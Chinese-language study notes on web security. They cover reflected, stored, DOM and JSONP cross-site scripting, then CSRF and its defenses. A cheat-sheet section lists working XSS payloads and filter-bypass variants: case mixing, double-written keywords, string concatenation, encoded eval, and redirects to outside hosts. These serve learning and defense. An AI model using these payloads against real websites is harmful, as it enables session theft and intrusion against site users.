# XSS
# 反射型
非持久型 XSS,payload 直接在 URL 中构造,然后将恶意链接发送给用户
比如 http://www.test.com/message.php?send=<script>alert(666)</script>
为了避免引起怀疑,还可以使用短链接替换
# 存储型
持久型 XSS,payload 存入了服务器的数据库,每当用户访问有漏洞的页面,服务器从数据库取出 payload 显示在浏览器中,就会触发恶意代码
# DOM 型
DOM 型 XSS 是特殊的反射型 XSS,指的是因为使用了不安全的 DOM 属性而导致的反射型,例如 document.location
, document.URL
, document.referrer
等
<script> | |
document.write(document.URL.substring(document.URL.indexOf("a=")+2, document.URL.length)); | |
</script> |
# JSONP
JSONP (JSON with Padding) 是 JSON 的一种使用模式,可以使得页面从别的域名获取资源而不触发同源策略
JSONP 需要以下两个方面配合实现:
- API 服务器实现 JSONP 接口,正确响应回调函数
- 浏览器端在请求脚本中定义回调函数,并设置
callback
参数指向该回调函数
// 浏览器端 | |
<script> | |
function handleResponse(response) { | |
// 获取数据后的处理 | |
} | |
</script> | |
<script src="http://api.server.com?callback=handleResponse"></script> |
// 服务器端需要封装 JSON 为函数调用形式 | |
handleResponse({ | |
// json data | |
}); |
典型的 JSONP XSS payload:
http:/jsonp?callback=alert`1`&data=test |
# 基础 payload
<script>alert(/XSS/)</script>
<img src=1 onerror=alert(/xss/)>
:onerror
属性<iframe onload=alert(/xss/)></iframe>
:onload
属性<link rel=import href="http://127.0.0.1/1.js">
: 利用link
远程包含文件<a href="javascript:alert('xss')">链接</a>
: 伪协议<iframe src=javascript:alert('xss')></iframe>
: 伪协议<img src="1.jpg" ondblclick="alert(/xss/)">
:ondblclick
属性<form action="javascript:alert(/xss/)"><input type=submit>
# 变形 payload
过滤空格、关键字、单双引号,可以采用双写关键字、大小写混用、字符拼接、混淆等
<iMg/src="x"/oneRroR=alert("xss")>
:/
代替空格,大小写混用<iMg%0asrc="x"oneRroR=alert("xss")>
:%0a
代替空格<iMimgg/srsrcc="x"/oneRroR=alert("xss")>
: 双写关键字img
,src
<iMg/src="x"/oneRroR="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">
<script>top["al"+"ert"]('xss');</script>
: 字符拼接<title><img src=</title>><img src=x onerror="alert('xss');">
<a/HrEf='javaScript:alert(/xss/)'>click</a>
<iMg/src="x"/oneRroR="="alert("xs");">
: Unicode 编码绕过<iMgiMg/src="x"/oneRroR="eval(unescape('%61%6c%65%72%74%28%22%78%73%22%29%3b'))">
: URL 编码绕过<img src="x" onerror=document.location='//www.baidu.com'>
://
代替http://
<img src="x" onerror=document.location='http://www。baidu。com'">
:。
代替.
<img src="x" onerror=document.location='http://2130706433/'>
: 十进制 IP
# 防御
XSS 攻击有两大要素:
- 攻击者提交恶意代码
- 浏览器执行恶意代码
因此根本的解决需要从输入到输出都进行过滤、转义
# 输入
最基本的 HTMLEncode,将字符串转换为 HTMLEntities(实体化转义): &
<
>
"
'
/
对于富文本输入,需要注意几个方面:
- 确保输入的是完整 HTML,而不是有拼接的代码
- 通过
htmlparser
能解析出 HTML 代码的标签、属性、事件 - 禁止所有事件,并禁止
<iframe>
<script>
<base>
<form>
等危险标签 - 利用白名单,只允许安全标签如
<div>
<a>
<img>
等,白名单不仅适用标签,也适用于属性 - 过滤用户 CSS
# 输出
# HTML 输出
HTMLEncode,与输入的转义相同
# JavaScript 输出
JSONP 中可以通过意外截断 JSON 数据或者在页面中玩转引号来造成 XSS 攻击
let a = "get_param" | |
// get_param = ";alert(1);// | |
a = "";alert(1);//" |
使用 JavaScriptEncode 转义,即使用 \
对特殊字符转义
# CSS 输出
严格控制用户将变量输入至 style
标签,也不要引用未知的 CSS 文件
如果有特别的需求,可以使用如 encodeForCSS()
的编码函数
# URL 输出
使用 URLEncode
# 其他
# JSONP
- 严格定义
Content-Type: application/json
,因为浏览器渲染依靠该字段值,标记为json
时即使内容全是 HTML 标签,浏览器也不会渲染;只要接口返回的不是 HTML,那么一定不要设置为 HTML callback
做长度限制,比如函数名限制 50 个字符内- 检测
callback
内的字符,仅允许[
,]
,a-zA-Z0-9_
,$
,.
- 过滤,原理同转义
# Web 安全头支持
- CSP (Content Secutiry Policy),可以用来定义页面可以加载哪些资源
X-Download-Options: noopen
: 禁用下载框 Open 按钮X-Content-Type-Options: nosniff
: 禁用 IE8 自动嗅探 mime 功能,如text/plain
当成text/html
渲染X-XSS-Protection
: IE 提供的一些 XSS 检测与防范,默认开启
# CSRF
利用受害者尚未失效的身份信息,诱骗其点击恶意链接,在不知情的情况下以其身份发起请求
# GET 型
构造 URL,诱导受害者访问
# POST 型
构造自动提交或点击提交的表单,诱导受害者访问或点击
# 检测
抓取一个正常的请求数据包,如果没有 Referer
字段和 token
,那么极有可能存在 CSRF 漏洞
如果有 Referer
字段,但是去掉以后重新提交依然有效,也可以判断存在 CSRF
# 防御
# 阻止不明外部域名访问
# 同源检测
浏览器同源策略:协议、域名、端口都相同即同源
Cookie 同源策略:域名相同即同源
浏览器发起请求时,一般会自动加上 Origin
和 Referer
两个 Header
,并且不能由前端修改,服务器可以靠这两个 Header
确定来源的域名
CSRF 大多数来源于第三方域名,但也并不能排除本域发起,因此同源检测并不能完全阻止 CSRF
# Samesite Cookie
Samesite
属性用来限制第三方 Cookie,有以下几种值:
Samesite = Strict
: 完全禁止第三方 Cookie,跨站点时任何情况都不发送 CookieSamesite = Lax
: 除了a
链接、预加载请求和 GET 表单以外都不发送 CookieSamesite = None
: 关闭该属性,但同时必须设置Samesite = None; Secure
设置 Strict
或 Lax
基本就能阻止 CSRF 攻击
# CSRF Token
要求所有请求都携带一个无法被劫持的 Token,达到防止 CSRF 的目的
- 用户打开页面时,服务器给用户生成一个
token
,一般包括随机字符串和时间戳的组合,并使用算法加密 - 对于 GET 请求,直接附在 URL 之后,如
http://example.com?token=tokenValue
- 对于 POST 请求,在表单后加上
<input type="hidden" name="token" value="tokenValue">
- 服务端首先解密
token
,提取随机字符串和时间戳,验证字符串是否一致、时间是否有效
# GET 请求幂等性
不要在 GET 请求中对数据进行修改,限制只能读取